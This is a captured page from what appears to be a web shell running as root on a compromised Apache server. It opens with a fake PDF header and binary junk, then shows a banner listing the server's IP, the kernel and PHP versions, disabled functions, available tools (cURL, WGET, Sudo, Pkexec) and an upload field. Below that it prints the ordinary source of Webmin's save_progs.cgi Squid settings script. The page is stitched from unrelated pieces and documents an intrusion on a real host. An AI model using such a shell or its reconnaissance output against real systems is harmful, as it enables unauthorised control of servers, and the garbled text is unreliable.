%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.248 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/webmin/squid/ |
Upload File : |
#!/usr/bin/perl # save_progs.cgi # Save helper program options use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; our (%text, %in, %access, $squid_version, %config); require './squid-lib.pl'; $access{'hprogs'} || &error($text{'eprogs_ecannot'}); &ReadParse(); &lock_file($config{'squid_conf'}); my $conf = &get_config(); &error_setup($text{'sprog_ftshpo'}); if ($squid_version < 2) { &save_opt("ftpget_program", \&check_prog, $conf); &save_opt("ftpget_options", \&check_opts, $conf); } else { &save_opt("ftp_list_width", \&check_width, $conf); } &save_opt("ftp_user", \&check_ftpuser, $conf); &save_opt("cache_dns_program", \&check_prog, $conf); &save_opt("dns_children", \&check_children, $conf); &save_choice("dns_defnames", "off", $conf); if ($squid_version >= 2) { &save_opt("dns_nameservers", \&check_dnsservers, $conf); } &save_opt("unlinkd_program", \&check_prog, $conf); &save_choice("pinger_enable", "on", $conf); &save_opt("pinger_program", \&check_prog, $conf); if ($squid_version >= 2.6) { &save_opt("url_rewrite_program", \&check_prog, $conf); if ($in{'url_rewrite_children_def'}) { &save_directive($conf, 'url_rewrite_children', [ ]); } else { my @w; $in{'url_rewrite_children'} =~ /^\d+$/ || &error(&text('sprog_emsg5', $in{'url_rewrite_children'})); push(@w, $in{'url_rewrite_children'}); foreach my $o ("startup", "idle", "concurrency") { next if ($in{"url_rewrite_".$o."_def"}); $in{"url_rewrite_".$o} =~ /^[1-9]\d*$/ || &error($text{'sprog_echildren'}); push(@w, $o."=".$in{"url_rewrite_".$o}); } my $dir = { 'name' => 'url_rewrite_children', 'values' => \@w }; &save_directive($conf, $dir->{'name'}, [ $dir ]); } } else { &save_opt("redirect_program", \&check_prog, $conf); &save_opt("redirect_children", \&check_children, $conf); } &flush_file_lines(); &unlock_file($config{'squid_conf'}); &webmin_log("progs", undef, undef, \%in); &redirect(""); sub check_opts { return $_[0] =~ /\S/ ? undef : $text{'sprog_emsg1'}; } sub check_prog { $_[0] =~ /^(\/\S+)/ || return &text('sprog_emsg2', $_[0]); return -x $1 ? undef : &text('sprog_emsg3',$_[0]); } sub check_ftpuser { return $_[0] =~ /^\S+@\S*$/ ? undef : &text('sprog_emsg4',$_[0]); } sub check_width { return $_[0] =~ /^\d+$/ ? undef : &text('sprog_emsg6',$_[0]); } sub check_dnsservers { my @dns = split(/\s+/, $_[0]); return $text{'sprog_emsg7'} if (!@dns); foreach my $dns (@dns) { &check_ipaddress($dns) || return &text('sprog_emsg8',$dns); } return undef; } sub check_children { return $_[0] =~ /^\d+$/ ? undef : &text('sprog_emsg5',$_[0]); }